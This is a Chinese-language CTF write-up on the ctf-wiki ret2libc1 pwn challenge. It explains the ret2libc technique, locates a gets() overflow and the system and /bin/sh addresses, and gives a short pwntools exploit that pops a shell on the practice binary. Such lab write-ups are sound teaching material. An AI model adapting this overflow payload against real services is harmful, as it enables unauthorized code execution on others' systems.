T3 ret2libc1
2023-01-09WP
ctf-wiki 基础rop
0x00 ctf-wiki中的原理解释
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。
0x01
file checksec——32-bit,开启NX
0x02
IDA查看源码,应该是gets函数的栈溢出
shift+f12看到有/bin/sh字符串,找地址为0x08048720
并且在secure函数中有system函数,双击进去查看得到 system 函数地址为08048460
0x03
gdb调试找偏移量可能都是ctf-wiki里面的题的原因吧这里甚至连偏移量都和前面ret2text的一样
0x04
我们要直接返回执行system 函数,exp可以这样写
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_addr = 0x08048460
payload = flat([b'a' * 112, system_addr,b 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
这里的四个b是system函数的返回地址,这里只是起到让结构合法的作用,具体是什么不重要,因为我们只需要调用system就行了我这个flat()还查了好久是什么意思……实际上就是把几个字符串拼接在一起
0x05 questions
也可以直接返回system函数压参的地址0x0804860A(也就是 call _system处的地址)而不返回函数的 plt 处,
但是32位一般返回plt处地址后先跟函数返回地址(虚拟的)再接参数
一个plt表和got表的教学文章